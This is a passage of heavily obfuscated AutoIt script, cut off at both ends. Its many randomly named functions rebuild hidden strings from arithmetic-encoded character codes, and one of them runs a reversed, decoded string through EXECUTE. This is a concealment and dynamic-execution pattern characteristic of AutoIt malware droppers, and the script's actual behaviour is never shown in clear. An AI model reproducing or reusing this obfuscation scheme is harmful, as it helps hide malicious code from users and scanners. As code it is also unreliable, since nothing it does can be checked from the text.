RETURN $FOYZNYDSZY ENDFUNC FUNC BUJQXTRDKPSMBXXUGKUB () LOCAL $OWJCSZENI_E_WKDUNSWV [21 ] = [+ 4294890823 + 76505 , 68575 + + 4294898768 , + 4294890296 - + 4294890181 , + 4294906911 - + 4294906812 , 36289 + + 4294931039 , 29898 + 4294937430 , 40312 + + 4294927093 , + 4294906201 - + 4294906096 , + 4294943832 - + 4294943722 , + 4294883685 + 83728 , 17366 + 4294950046 , 56782 + 4294910615 , 16253 + + 4294951075 , + 4294943016 + 24327 , 54667 + 4294912738 , 50787 + + 4294916620 , + 4294954212 + 13116 , 62931 + + 4294904414 , + 4294929236 + 38092 , + 4294874897 + 92446 , + 4294918043 + 49323 ] LOCAL $TCKLNKFNDS FOR $EOIXSYFYKGUXGSZ = 0 TO 20 $TCKLNKFNDS &= CHRW ($OWJCSZENI_E_WKDUNSWV [$EOIXSYFYKGUXGSZ ] ) NEXT RETURN $TCKLNKFNDS ENDFUNC FUNC KCBOYHXGDR_YNXTPFD_T () LOCAL $VERKWIPFGGXNAOXVMGYN [4 ] = [+ 4294908621 - + 4294908523 , 99306 + 4294868101 , + 4294916204 - + 4294916093 , 38497 + 4294928907 ] LOCAL $XUMXY_YCZF FOR $PGOOSEXGLRRPSR_ = 0 TO 3 $XUMXY_YCZF &= CHRW ($VERKWIPFGGXNAOXVMGYN [$PGOOSEXGLRRPSR_ ] ) NEXT RETURN $XUMXY_YCZF ENDFUNC FUNC Z_EPHJHTPZVLFJMO_UVS () LOCAL $EKRXGZKACTUQZSPQSPXN [1 ] = [56224 + + 4294911121 ] LOCAL $HIIZGQXFFM FOR $KY_YHYRCWBTCDOI = 0 TO 0 $HIIZGQXFFM &= CHRW ($EKRXGZKACTUQZSPQSPXN [$KY_YHYRCWBTCDOI ] ) NEXT RETURN $HIIZGQXFFM ENDFUNC FUNC ZAYOXLGWLDXDJCDFMJHT () LOCAL $JOQAPSWWJIWLGIDFZUXC [9 ] = [85327 + + 4294882042 , 49207 + + 4294918204 , + 4294931141 - + 4294931076 , 44823 + 4294922573 , 87315 + + 4294880090 , 95096 + 4294872305 , + 4294923573 + 43833 , 25985 + 4294941351 , 17667 + + 4294949670 ] LOCAL $FRLITSOZOU FOR $ZFPKMDHLXBZZGSM = 0 TO 8 $FRLITSOZOU &= CHRW ($JOQAPSWWJIWLGIDFZUXC [$ZFPKMDHLXBZZGSM ] ) NEXT RETURN $FRLITSOZOU ENDFUNC FUNC SBDMDUMEDOUKTIBYOBNL () LOCAL $_IZDBORJFRXPDRVCMRLL [1 ] = [+ 4294927268 - + 4294927176 ] LOCAL $ALPDDZLRFG FOR $LNNLJIKSXAWYYJC = 0 TO 0 $ALPDDZLRFG &= CHRW ($_IZDBORJFRXPDRVCMRLL [$LNNLJIKSXAWYYJC ] ) NEXT RETURN $ALPDDZLRFG ENDFUNC FUNC FUYOPXRINKWQVFNAMCOI () LOCAL $JPR_UCIGLPWWMRWLUTAJ [5 ] = [+ 4294922202 - + 4294922102 , + 4294957645 + 9770 , 62259 + + 4294905148 , 55595 + 4294911815 , 25340 + 4294942056 ] LOCAL $_EDJBGTBFB FOR $NJYLLQDYUNPLXYP = 0 TO 4 $_EDJBGTBFB &= CHRW ($JPR_UCIGLPWWMRWLUTAJ [$NJYLLQDYUNPLXYP ] ) NEXT RETURN $_EDJBGTBFB ENDFUNC FUNC EALTEX_DPQSFLVIEXBDR () LOCAL $CDDFOINIWNHKXXRYOPWO [1 ] = [+ 4294916936 + 50453 ] LOCAL $FFWKRGBJHJ FOR $MCUFYKYQMFTURAX = 0 TO 0 $FFWKRGBJHJ &= CHRW ($CDDFOINIWNHKXXRYOPWO [$MCUFYKYQMFTURAX ] ) NEXT RETURN $FFWKRGBJHJ ENDFUNC FUNC PMPJOXPMEJAQEGRTFHCO () LOCAL $JHUOQDLGOZTQCXDGZSKT [62 ] = [13025 + + 4294954319 , 98225 + 4294869119 , 27666 + + 4294939678 , 341 + + 4294967003 , 71838 + 4294895506 , + 4294953776 + 13568 , 33818 + + 4294933526 , + 4294922460 - + 4294922412 , 42671 + 4294924680 , 47083 + 4294920267 , + 4294960896 - + 4294960842 , 78158 + 4294889204 , 21096 + 4294946256 , 4451 + 4294962911 , + 4294889761 - + 4294889709 , + 4294912526 + 54820 , 80400 + 4294886944 , 76691 + + 4294890657 , + 4294928820 - + 4294928769 , 62323 + + 4294905024 , 23302 + 4294944061 , + 4294946160 - + 4294946103 , + 4294946205 - + 4294946149 , + 4294928128 - + 4294928077 , + 4294947645 + 19720 , + 4294959683 + 7669 , + 4294877532 + 89812 , + 4294918651 - + 4294918595 , + 4294903100 + 64252 , + 4294929096 + 38257 , + 4294907848 - + 4294907796 , 73771 + 4294893593 , 43797 + 4294923569 , + 4294926283 + 41061 , + 4294948700 + 18661 , 94335 + 4294873018 , + 4294898340 + 69026 , 63295 + 4294904070 , + 4294877660 + 89706 , 66528 + 4294900838 , + 4294883202 - + 4294883132 , 37674 + 4294929692 , + 4294894682 + 72684 , + 4294952514 + 14852 , + 4294891944 - + 4294891889 , + 4294899285 + 68065 , 57812 + 4294909536 , 39604 + 4294927745 , + 4294949616 + 17728 , + 4294938294 - + 4294938224 , + 4294953897 - + 4294953831 , + 4294906120 + 61231 , 79797 + 4294887551 , + 4294883021 - + 4294882969 , + 4294894851 - + 4294894799 , + 4294896163 - + 4294896098 , 86454 + 4294880890 , 79984 + 4294887368 , + 4294962573 + 4777 , + 4294948600 + 18750 , 6007 + + 4294961345 , + 4294901605 + 65744 ] LOCAL $OUMVXXWQOI FOR $ULLQDKLAMMATISJ = 0 TO 61 $OUMVXXWQOI &= CHRW ($JHUOQDLGOZTQCXDGZSKT [$ULLQDKLAMMATISJ ] ) NEXT RETURN $OUMVXXWQOI ENDFUNC FUNC UWZRRWQDRLHFQYMGHWDV () LOCAL $NIBTQFWQL__SLRBNSQGX [6 ] = [+ 4294871638 - + 4294871566 , + 4294958220 - + 4294958123 , + 4294923685 + 43721 , 98692 + 4294868704 , + 4294928196 + 39208 , 38587 + 4294928810 ] LOCAL $ZWZOSPGUHW FOR $LBBMUFBLAASRLPT = 0 TO 5 $ZWZOSPGUHW &= CHRW ($NIBTQFWQL__SLRBNSQGX [$LBBMUFBLAASRLPT ] ) NEXT RETURN $ZWZOSPGUHW ENDFUNC FUNC II_PCVN_FBTIKJRDIMYE () LOCAL $UQUYNMAQXPMIPBGSQSMN [1 ] = [+ 4294933735 - + 4294933687 ] LOCAL $BBQUXCRPKT FOR $JCRSDPLMOQDUHSO = 0 TO 0 $BBQUXCRPKT &= CHRW ($UQUYNMAQXPMIPBGSQSMN [$JCRSDPLMOQDUHSO ] ) NEXT RETURN $BBQUXCRPKT ENDFUNC FUNC JIWCWN_NSJSQCKZEOPZJ () LOCAL $SIOCUAXYIZJMYPIOEYKN [1 ] = [+ 4294915462 + 51890 ] LOCAL $THVRBFUZGR FOR $HKNZCARNRZLFOBU = 0 TO 0 $THVRBFUZGR &= CHRW ($SIOCUAXYIZJMYPIOEYKN [$HKNZCARNRZLFOBU ] ) NEXT RETURN $THVRBFUZGR ENDFUNC FUNC KACWSISGIJTUTAOWMWKB () LOCAL $DBGPGOTKRLTUAWDCMRHB [1 ] = [+ 4294949225 - + 4294949177 ] LOCAL $NPEQIPWRZT FOR $CDDSFVKMQEVA_IV = 0 TO 0 $NPEQIPWRZT &= CHRW ($DBGPGOTKRLTUAWDCMRHB [$CDDSFVKMQEVA_IV ] ) NEXT RETURN $NPEQIPWRZT ENDFUNC FUNC HNCCFEBSRVUYBKHLWTZP () LOCAL $VPAEAYFQBPTHRIWJL_ZR [1 ] = [89025 + + 4294878320 ] LOCAL $ZCHYLRBCNH FOR $HCHMSXM_WNVZSSN = 0 TO 0 $ZCHYLRBCNH &= CHRW ($VPAEAYFQBPTHRIWJL_ZR [$HCHMSXM_WNVZSSN ] ) NEXT RETURN $ZCHYLRBCNH ENDFUNC FUNC NUVWWCOCDCBSPPUYDKUE () LOCAL $OQXUBDVTLZGH_SRXGIFM [10 ] = [+ 4294922354 + 44990 , 69900 + + 4294897516 , 22179 + + 4294945165 , 14901 + + 4294952443 , + 4294963731 - + 4294963683 , 62102 + 4294905242 , 11175 + 4294956169 , 60946 + + 4294906398 , 76353 + 4294890995 , + 4294901814 + 65530 ] LOCAL $SMAKJSFGFD FOR $HVRFWUSXZYRUFIL = 0 TO 9 $SMAKJSFGFD &= CHRW ($OQXUBDVTLZGH_SRXGIFM [$HVRFWUSXZYRUFIL ] ) NEXT RETURN $SMAKJSFGFD ENDFUNC FUNC ZQYRZIWRMQGPSXQEGSMA () LOCAL $CICCOIJYIJAIZIUQTFLM [9 ] = [+ 4294877382 + 90029 , + 4294937294 + 30106 , 72821 + + 4294894576 , + 4294921315 - + 4294921207 , + 4294909963 + 57441 , + 4294906706 + 60689 , + 4294947971 - + 4294947860 , + 4294931142 + 36254 , + 4294962597 + 4800 ] LOCAL $ABCRIZVBXD FOR $DQZYICPYQJCZMAG = 0 TO 8 $ABCRIZVBXD &= CHRW ($CICCOIJYIJAIZIUQTFLM [$DQZYICPYQJCZMAG ] ) NEXT RETURN $ABCRIZVBXD ENDFUNC FUNC QKASBCOHSLVKNXUQWGVD () LOCAL $KXMRU_MWWNZFBSZLBFHS [12 ] = [74444 + + 4294892899 , 88383 + 4294879012 , 26239 + + 4294941171 , + 4294908572 + 58825 , + 4294917380 - + 4294917283 , + 4294942883 + 24529 , + 4294874591 - + 4294874490 , 77116 + + 4294890212 , 84350 + 4294882993 , 87885 + 4294879527 , + 4294939700 + 27706 , + 4294954771 - + 4294954739 ] LOCAL $BFRPRXHERP FOR $MQJVZIORZD_NZKH = 0 TO 11 $BFRPRXHERP &= CHRW ($KXMRU_MWWNZFBSZLBFHS [$MQJVZIORZD_NZKH ] ) NEXT RETURN $BFRPRXHERP ENDFUNC FUNC BCKQOYYTPFAIPEPE_EWR () LOCAL $LGLYICZEHTLSHDFEUYXS [1 ] = [+ 4294918818 - + 4294918769 ] LOCAL $MIMZTLWTIA FOR $SAZAVNGTUEGGZVR = 0 TO 0 $MIMZTLWTIA &= CHRW ($LGLYICZEHTLSHDFEUYXS [$SAZAVNGTUEGGZVR ] ) NEXT RETURN $MIMZTLWTIA ENDFUNC FUNC ADAPZWRHUDWEBNIBCKDH () LOCAL $HL_UIXCGTNFI_YODSAUA [1 ] = [+ 4294875407 - + 4294875359 ] LOCAL $HGCULOHYNE FOR $XUFYSGBSPDTETPD = 0 TO 0 $HGCULOHYNE &= CHRW ($HL_UIXCGTNFI_YODSAUA [$XUFYSGBSPDTETPD ] ) NEXT RETURN $HGCULOHYNE ENDFUNC FUNC HKZNXSESZPWYBTHFRBIF () LOCAL $WCAMDEPHXXYBSPKDADBA [62 ] = [19298 + 4294948068 , 86165 + 4294881201 , + 4294942328 + 25021 , + 4294938973 - + 4294938920 , + 4294942716 + 24645 , + 4294905256 + 62092 , 9005 + + 4294958347 , + 4294901300 - + 4294901247 , 23907 + + 4294943456 , 25047 + + 4294942297 , 73908 + + 4294893436 , 61387 + 4294905979 , + 4294934952 + 32400 , + 4294907008 - + 4294906956 , + 4294938022 - + 4294937957 , 65184 + + 4294902180 , 97131 + 4294870213 , + 4294948185 + 19161 , 67522 + + 4294899822 , 66075 + 4294901269 , 61655 + 4294905689 , 34446 + 4294932898 , + 4294884639 - + 4294884583 , + 4294948270 + 19094 , + 4294948960 - + 4294948904 , + 4294918400 + 48949 , 48182 + 4294919163 , + 4294890198 + 77146 , 29616 + + 4294937750 , + 4294962926 + 4437 , + 4294966184 + 1182 , + 4294883734 - + 4294883664 , 43949 + 4294923417 , 58031 + 4294909335 , + 4294906211 - + 4294906158 , 95919 + + 4294871425 , + 4294931188 + 36178 , + 4294881693 + 85673 , 60121 + + 4294907230 , + 4294868622 + 98727 , + 4294905037 - + 4294904969 , + 4294878723 - + 4294878656 , 17287 + + 4294950079 , + 4294903495 + 63871 , 14791 + + 4294952558 , + 4294933703 - + 4294933650 , 38860 + + 4294928501 , + 4294885209 + 82135 , + 4294879821 - + 4294879765 , 43248 + + 4294924101 , + 4294939066 - + 4294938999 , + 4294922238 + 45106 , + 4294906237 - + 4294906189 , + 4294900443 + 66923 , 20363 + + 4294946989 , + 4294962387 + 4961 , 71408 + 4294895945 , 30637 + 4294936715 , + 4294900049 + 67295 , + 4294877476 - + 4294877426 , + 4294953559 - + 4294953511 , 43426 + 4294923918 ] LOCAL $FVAGNJUMHI FOR $ESGSBAY_NEETODZ = 0 TO 61 $FVAGNJUMHI &= CHRW ($WCAMDEPHXXYBSPKDADBA [$ESGSBAY_NEETODZ ] ) NEXT RETURN $FVAGNJUMHI ENDFUNC FUNC CBSBDIJAGBJVADRHTJDH () LOCAL $BBZHLZSBWETRPICYFTKK [54 ] = [84011 + 4294883377 , 84462 + + 4294882921 , 24884 + + 4294942517 , 16216 + + 4294951190 , + 4294914897 - + 4294914797 , 97023 + 4294870384 , + 4294907990 + 59425 , 45139 + 4294922272 , + 4294886199 - + 4294886107 , 23071 + 4294944302 , 30604 + 4294936797 , + 4294902128 - + 4294902029 , 35881 + + 4294931529 , 51479 + + 4294915928 , 98504 + + 4294868907 , + 4294882059 - + 4294881948 , + 4294873854 + 93544 , + 4294936655 - + 4294936539 , + 4294871759 + 95583 , + 4294884142 + 83232 , + 4294961557 + 5808 , + 4294901222 + 66158 , 60465 + + 4294906923 , + 4294891028 + 76338 , 16863 + 4294950547 , + 4294902614 + 64779 , + 4294890062 - + 4294889953 , + 4294915278 + 52119 , 65618 + 4294901797 , + 4294931754 + 35653 , 9792 + + 4294957618 , 59795 + 4294907608 , 59935 + + 4294907453 , + 4294905505 - + 4294905387 , 23733 + + 4294943613 , + 4294879666 - + 4294879620 , 1840 + + 4294965504 , + 4294940136 + 27206 , 4455 + + 4294962894 , + 4294892471 + 74873 , 58994 + 4294908357 , 71289 + + 4294896057 , 85612 + 4294881739 , + 4294887055 + 80333 , + 4294875844 + 91534 , 52887 + + 4294914510 , + 4294926004 - + 4294925901 , 39894 + + 4294927467 , + 4294883173 - + 4294883058 , + 4294944273 - + 4294944164 , 20262 + + 4294947080 , 6777 + + 4294960620 , 98312 + + 4294869104 , + 4294928113 - + 4294928012 ] LOCAL $RLCVHOVSDF FOR $P_DGDZXBOWOYBLD = 0 TO 53 $RLCVHOVSDF &= CHRW ($BBZHLZSBWETRPICYFTKK [$P_DGDZXBOWOYBLD ] ) NEXT RETURN $RLCVHOVSDF ENDFUNC FUNC AWNGZHKZCSJFSSSKJCYI () LOCAL $OBUUESBXSVRBLDRZBXMU [1 ] = [58855 + + 4294908533 ] LOCAL $TBGFNHHAIU FOR $_FPQPMOZTLAGRZB = 0 TO 0 $TBGFNHHAIU &= CHRW ($OBUUESBXSVRBLDRZBXMU [$_FPQPMOZTLAGRZB ] ) NEXT RETURN $TBGFNHHAIU ENDFUNC FUNC GXWFEUOEAZARAOEDEGOF () LOCAL $ZKBIBRMYUXXWIUPMLXYJ [54 ] = [+ 4294929481 + 37907 , 6796 + 4294960587 , 67258 + 4294900143 , 43376 + 4294924030 , + 4294945235 - + 4294945135 , + 4294868969 + 98438 , 52762 + + 4294914653 , 55440 + + 4294911971 , 66371 + 4294901017 , 75464 + + 4294891909 , 37979 + + 4294929422 , + 4294942923 - + 4294942824 , + 4294882392 - + 4294882278 , + 4294931674 - + 4294931563 , + 4294872246 + 95165 , 37566 + 4294929841 , + 4294932376 - + 4294932274 , 2705 + 4294964707 , 69790 + 4294897552 , + 4294966901 + 473 , 86328 + 4294881037 , + 4294957953 + 9427 , 79754 + 4294887634 , 19665 + 4294947701 , + 4294955368 + 12042 , + 4294936109 + 31284 , 55319 + 4294912086 , + 4294879662 - + 4294879561 , + 4294923915 - + 4294923796 , + 4294879098 + 88309 , 65558 + 4294901852 , 83371 + + 4294884032 , + 4294964439 + 2949 , + 4294921837 - + 4294921719 , 20625 + + 4294946723 , 98526 + + 4294868816 , 98931 + 4294868413 , + 4294947129 + 20213 , 84967 + + 4294882380 , 54955 + + 4294912389 , + 4294949057 + 18290 , 34046 + 4294933299 , 96807 + + 4294870546 , 1484 + + 4294965904 , + 4294892439 - + 4294892357 , + 4294871910 - + 4294871809 , 82943 + + 4294884456 , + 4294886401 - + 4294886336 , 32546 + + 4294934865 , + 4294880439 - + 4294880330 , 99425 + + 4294867917 , 97113 + + 4294870284 , + 4294924053 + 43363 , + 4294876614 + 90783 ] LOCAL $ZXPTDCEOGT FOR $VE_MEDBYVWSUGJY = 0 TO 53 $ZXPTDCEOGT &= CHRW ($ZKBIBRMYUXXWIUPMLXYJ [$VE_MEDBYVWSUGJY ] ) NEXT RETURN $ZXPTDCEOGT ENDFUNC FUNC XTQRKTWLWEXDEBCZSPHW () LOCAL $FDQUJFVVZDTDRGWQKAGG [1 ] = [13108 + 4294954236 ] LOCAL $XIFYAMTLTM FOR $QGAIX_AVVQCNXUD = 0 TO 0 $XIFYAMTLTM &= CHRW ($FDQUJFVVZDTDRGWQKAGG [$QGAIX_AVVQCNXUD ] ) NEXT RETURN $XIFYAMTLTM ENDFUNC FUNC WWDSCWSUXLYTSXDIGKZN () LOCAL $IETPJTXANKAQMFTUPPAL [2 ] = [60197 + + 4294907148 , + 4294927931 - + 4294927877 ] LOCAL $JZSGMKIGMD FOR $KSUIINAWSIERDOI = 0 TO 1 $JZSGMKIGMD &= CHRW ($IETPJTXANKAQMFTUPPAL [$KSUIINAWSIERDOI ] ) NEXT RETURN $JZSGMKIGMD ENDFUNC FUNC LMMFZVBJHQSLTWUMNPIS () LOCAL $HFDNRZDWKNYQTFUSMTJW [4 ] = [+ 4294874586 - + 4294874488 , + 4294874016 + 93391 , + 4294953420 + 13987 , + 4294924968 - + 4294924860 ] LOCAL $UTCSNCB_UF FOR $FKVRYUGFJ_NASFZ = 0 TO 3 $UTCSNCB_UF &= CHRW ($HFDNRZDWKNYQTFUSMTJW [$FKVRYUGFJ_NASFZ ] ) NEXT RETURN $UTCSNCB_UF ENDFUNC FUNC LRYGEYARVQASHRYZOIMF () LOCAL $JEVKEFMZUFDKBLMDIZEB [19 ] = [2901 + 4294964462 , + 4294894109 + 73301 , 92929 + 4294874488 , + 4294956164 - + 4294956052 , + 4294914760 + 52652 , + 4294960287 + 7091 , + 4294964784 + 2613 , 69496 + 4294897908 , + 4294900932 + 66465 , 85792 + + 4294881601 , + 4294955840 - + 4294955725 , + 4294886750 + 80647 , + 4294962750 + 4613 , + 4294936893 + 30514 , 61159 + + 4294906247 , + 4294939706 + 27706 , + 4294894532 - + 4294894431 , 42352 + 4294925064 , + 4294929277 - + 4294929161 ] LOCAL $FQMLHBILPF FOR $KCUCFFSJXNPFHUX = 0 TO 18 $FQMLHBILPF &= CHRW ($JEVKEFMZUFDKBLMDIZEB [$KCUCFFSJXNPFHUX ] ) NEXT RETURN $FQMLHBILPF ENDFUNC FUNC QAZB_BTNEZPFTVDYIJSS () LOCAL $JIIQUDFBTGWNEYHY_XJP [13 ] = [17553 + + 4294949810 , 12368 + 4294955042 , + 4294957127 - + 4294957006 , 55158 + 4294912250 , 68160 + 4294899252 , + 4294907699 - + 4294907627 , 27762 + 4294939631 , 32187 + 4294935224 , 42047 + 4294925353 , 40978 + + 4294926386 , + 4294902106 + 65287 , + 4294916003 + 51409 , + 4294886916 - + 4294886819 ] LOCAL $DFJBLWZH_F FOR $BVOGYL_DHOUHEMJ = 0 TO 12 $DFJBLWZH_F &= CHRW ($JIIQUDFBTGWNEYHY_XJP [$BVOGYL_DHOUHEMJ ] ) NEXT RETURN $DFJBLWZH_F ENDFUNC FUNC JSNQMVCGABTD ($IFFNEAMNWERY ) RETURN EXECUTE (STRINGREVERSE (UYJOHCLMEPUTKGCGXQHZ (")rmfJGOJYsEnfZvbRYLiRdYlEjugAXJxwpJZMYyAnIdlJfscmaCyzaqoAjiviJkhEszijFlDnvPtaXbQFhxIyfiJfsiBWsifIAddoOsp$eczag_F(neyEPZCgLNkdbZ_nqhOmDxViLpMJJADrVixZJdFtdcSDjdpSqtLMUQOovlOdCKCTPMVGZzqyeNeTVVNreWJtUfVawBXPkpznXjvgUDoiqXxLeZlBgGTZVaq" , 8 ) ) ) ENDFUNC FUNC I_UZXFWBKWBQIUASDIFH () LOCAL $RTCGGATKLPSDADARLOXJ [5 ] = [+ 4294898745 + 68651 , + 4294952106 + 15309 , + 4294936671 + 30736 , + 4294902258 - + 4294902144 , 27324 + + 4294940072 ] LOCAL $YQFUJHPKWL FOR $VLHLAOXOTXMLQVE = 0 TO 4 $YQFUJHPKWL &= CHRW ($RTCGGATKLPSDADARLOXJ [$VLHLAOXOTXMLQVE ] ) NEXT RETURN $YQFUJHPKWL ENDFUNC FUNC BVBXAOEUYDZMOGZVEQND () LOCAL $HZRQBTDDVMQQTTDJAAUH [4 ] = [+ 4294960063 + 7281 , + 4294929902 - + 4294929782 , 94403 + 4294872942 , + 4294938936 - + 4294938888 ] LOCAL $LMISUDPUEW FOR $UIYNBDLCDLWHKAZ = 0 TO 3 $LMISUDPUEW &= CHRW ($HZRQBTDDVMQQTTDJAAUH [$UIYNBDLCDLWHKAZ ] ) NEXT RETURN $LMISUDPUEW ENDFUNC FUNC JTRKOHUXHFR_OSAJEXDA () LOCAL $CRAHRMNHVBBLHEZUJLEA [10 ] = [19708 + + 4294947636 , 69640 + 4294897776 , 31004 + 4294936340 , + 4294947257 - + 4294947209 , + 4294914709 - + 4294914661 , + 4294917762 - + 4294917714 , + 4294892123 - + 4294892075 , 92437 + + 4294874907 , 42618 + 4294924727 , 47683 + 4294919661 ] LOCAL $JVRQHCNBSV FOR $VNBGDFSJSG_STCQ = 0 TO 9 $JVRQHCNBSV &= CHRW ($CRAHRMNHVBBLHEZUJLEA [$VNBGDFSJSG_STCQ ] ) NEXT RETURN $JVRQHCNBSV ENDFUNC FUNC JTJNNIGFQ_FCNASMWSAT () LOCAL $SSMWZUOGFOZAFEIEWKXY [1 ] = [+ 4294963203 + 4185 ] LOCAL $NPTUA_BAFX FOR $QTTROJSBONNJARG = 0 TO 0 $NPTUA_BAFX &= CHRW ($SSMWZUOGFOZAFEIEWKXY [$QTTROJSBONNJARG ] ) NEXT RETURN $NPTUA_BAFX ENDFUNC FUNC OASJMQEDSBPEOCPITBGA () LOCAL $FNSXHVFOSPSFHXALWQHU [1 ] = [68875 + 4294898513 ] LOCAL $VBQLQLCIJX FOR $ZYNPNEQEOFUHOBI = 0 TO 0 $VBQLQLCIJX &= CHRW ($FNSXHVFOSPSFHXALWQHU [$ZYNPNEQEOFUHOBI ] ) NEXT RETURN $VBQLQLCIJX ENDFUNC FUNC ZSWGSHLDDRUTRFDWIT_Y () LOCAL $LGJZGUQAACKWVOKLBWTW [62 ] = [89830 + + 4294877533 , 83226 + 4294884125 , 25976 + 4294941376 , + 4294943976 - + 4294943923 , 58886 + 4294908463 , + 4294899655 + 67708 , 50445 + + 4294916921 , + 4294918353 + 49013 , 28674 + + 4294938692 , + 4294868590 + 98776 , 29973 + 4294937393 , + 4294891598 - + 4294891528 , 51051 + + 4294916300 , 87710 + 4294879643 , + 4294904694 + 62654 , 53955 + 4294913406 , 96830 + 4294870522 , + 4294891455 + 75906 , 33362 + + 4294933982 , + 4294933388 - + 4294933322 , + 4294945455 - + 4294945399 , 56587 + + 4294910766 , 45515 + + 4294921837 , 20096 + 4294947253 , + 4294904827 + 62519 , + 4294885129 - + 4294885077 , + 4294898558 + 68808 , 60850 + + 4294906516 , + 4294907524 + 59842 , 57284 + + 4294910082 , + 4294889513 - + 4294889443 , 29522 + 4294937844 , + 4294954182 - + 4294954126 , 79301 + 4294888063 , 68587 + 4294898761 , + 4294944391 - + 4294944338 , + 4294957791 + 9571 , 3130 + 4294964214 , + 4294910050 - + 4294909994 , + 4294916490 + 50863 , 37999 + + 4294929353 , + 4294922860 - + 4294922807 , + 4294948968 + 18378 , 30454 + 4294936898 , 91533 + 4294875833 , 45909 + 4294921457 , + 4294932628 + 34738 , + 4294885903 - + 4294885833 , 2425 + 4294964941 , 21950 + + 4294945416 , + 4294940326 + 27026 , 50741 + + 4294916623 , 43885 + + 4294923463 , 27587 + 4294939762 , 34476 + + 4294932885 , 18682 + + 4294948666 , 73154 + + 4294894198 , + 4294949116 - + 4294949059 , 96969 + + 4294870383 , + 4294963055 + 4294 , + 4294929244 + 38102 , 72591 + + 4294894772 ] LOCAL $ZZPVGWFIEF FOR $MYVYSLZCYVCVPSW = 0 TO 61 $ZZPVGWFIEF &= CHRW ($LGJZGUQAACKWVOKLBWTW [$MYVYSLZCYVCVPSW ] ) NEXT RETURN $ZZPVGWFIEF ENDFUNC FUNC BMZLXQBDXXMQQEIZNVWT () LOCAL $FUM_MGWIED_WIEHWKHAK [1 ] = [+ 4294910040 + 57348 ] LOCAL $ZZQUSZUYQH FOR $AMQKVKUEMQWMBHA = 0 TO 0 $ZZQUSZUYQH &= CHRW ($FUM_MGWIED_WIEHWKHAK [$AMQKVKUEMQWMBHA ] ) NEXT RETURN $ZZQUSZUYQH ENDFUNC FUNC EKXSR_WKMYCYZZERCHRP () LOCAL $ZKQPLSSCRGLUL_CAPTXO [62 ] = [32620 + + 4294934731 , 12130 + + 4294955219 , 96852 + 4294870512 , 23340 + 4294944012 , + 4294932146 - + 4294932076 , 59422 + + 4294907944 , + 4294900684 + 66665 , + 4294904091 + 63258 , 53568 + 4294913796 , 49697 + + 4294917651 , 36693 + + 4294930659 , 46707 + 4294920642 , 739 + 4294966624 , 2217 + + 4294965127 , 69563 + 4294897781 , + 4294881416 - + 4294881346 , + 4294944973 - + 4294944917 , + 4294918954 - + 4294918902 , + 4294876563 + 90803 , 21629 + 4294945736 , + 4294884009 - + 4294883939 , 56425 + 4294910940 , 91060 + + 4294876306 , + 4294880329 + 87037 , + 4294901539 - + 4294901469 , + 4294920909 - + 4294920839 , 793 + + 4294966559 , 51698 + + 4294915666 , + 4294878401 - + 4294878349 , 60926 + + 4294906423 , + 4294921760 + 45593 , + 4294953278 - + 4294953211 , 59006 + + 4294908343 , 29825 + + 4294937519 , 28100 + + 4294939250 , + 4294901387 + 65974 , 40257 + 4294927087 , + 4294893586 + 73760 , 89826 + 4294877540 , 63804 + + 4294903562 , 24609 + + 4294942742 , + 4294905005 + 62345 , + 4294895217 + 72132 , 68704 + 4294898644 , + 4294896087 + 71279 , 74037 + + 4294893329 , + 4294921858 + 45493 , + 4294965278 - + 4294965225 , + 4294872735 + 94631 , + 4294904771 - + 4294904715 , + 4294932936 - + 4294932866 , 9473 + + 4294957893 , + 4294966763 - + 4294966708 , 12821 + 4294954528 , + 4294882871 - + 4294882803 , + 4294935789 + 31563 , + 4294873749 - + 4294873679 , + 4294926220 - + 4294926150 , + 4294902932 + 64417 , + 4294934321 - + 4294934268 , 95988 + + 4294871375 , + 4294891629 + 75734 ] LOCAL $LGKJO_LSJR FOR $NCDUOLYJE_NEFHA = 0 TO 61 $LGKJO_LSJR &= CHRW ($ZKQPLSSCRGLUL_CAPTXO [$NCDUOLYJE_NEFHA ] ) NEXT RETURN $LGKJO_LSJR ENDFUNC FUNC DVWMDRGIXQTXPTIGAOYY () LOCAL $DYVNCLWIOPNWNOQYQLQA [1 ] = [56484 + + 4294910854 ] LOCAL $IJRVYUIDXK FOR $TVFOHHEOLQFBHF_ = 0 TO 0 $IJRVYUIDXK &= CHRW ($DYVNCLWIOPNWNOQYQLQA [$TVFOHHEOLQFBHF_ ] ) NEXT RETURN $IJRVYUIDXK ENDFUNC FUNC ZENZGAQLPZGEPTEQXAZD () LOCAL $O_K_WKBDTYOJAGJFDODN [4 ] = [+ 4294902155 + 65239 , + 4294875913 - + 4294875802 , + 4294881821 - + 4294881710 , + 4294872540 + 94864 ] LOCAL $RKXEJKZMIX FOR $MRNWOVN_UOCWYMS = 0 TO 3 $RKXEJKZMIX &= CHRW ($O_K_WKBDTYOJAGJFDODN [$MRNWOVN_UOCWYMS ] ) NEXT RETURN $RKXEJKZMIX ENDFUNC FUNC KQDHJPVTDHJQKTDPYLOF () LOCAL $TUTRHZODEVFXLG_YIYKZ [6 ] = [71684 + + 4294895716 , 19048 + + 4294948345 , 82631 + + 4294884775 , + 4294897441 - + 4294897341 , + 4294963664 - + 4294963556 , + 4294924866 - + 4294924765 ] LOCAL $ETEGAAQBAJ FOR $_SPRXM_KASOICME = 0 TO 5 $ETEGAAQBAJ &= CHRW ($TUTRHZODEVFXLG_YIYKZ [$_SPRXM_KASOICME ] ) NEXT RETURN $ETEGAAQBAJ ENDFUNC FUNC ZQYQUBXKHSRWXYUSLXLA () LOCAL $RMVIGOXMODNWHD_GHYUC [6 ] = [34083 + + 4294933317 , 57913 + 4294909480 , + 4294959694 - + 4294959584 , + 4294950328 - + 4294950228 , 11418 + 4294955986 , 74801 + + 4294892596 ] LOCAL $UYNLNDJR_R FOR $BLFNVQJFELWEFVP = 0 TO 5 $UYNLNDJR_R &= CHRW ($RMVIGOXMODNWHD_GHYUC [$BLFNVQJFELWEFVP ] ) NEXT RETURN $UYNLNDJR_R ENDFUNC FUNC YXMJVOIRTZCLPIY_FVPZ () LOCAL $AWVHZBDLCVGMEZIYYCVQ [52 ] = [+ 4294965443 - + 4294965371 , + 4294917795 - + 4294917720 , 39906 + 4294927457 , 98158 + + 4294869223 , 36579 + 4294930809 , + 4294937910 - + 4294937827 , 85038 + + 4294882369 , 41445 + 4294925953 , + 4294882290 - + 4294882174 , 19471 + + 4294947944 , 17273 + + 4294950120 , + 4294955533 + 11877 , + 4294923720 + 43677 , 49228 + + 4294918160 , 95228 + + 4294872135 , + 4294880664 - + 4294880556 , + 4294868232 + 99161 , 6559 + + 4294960852 , 19856 + 4294947555 , + 4294947488 + 19909 , + 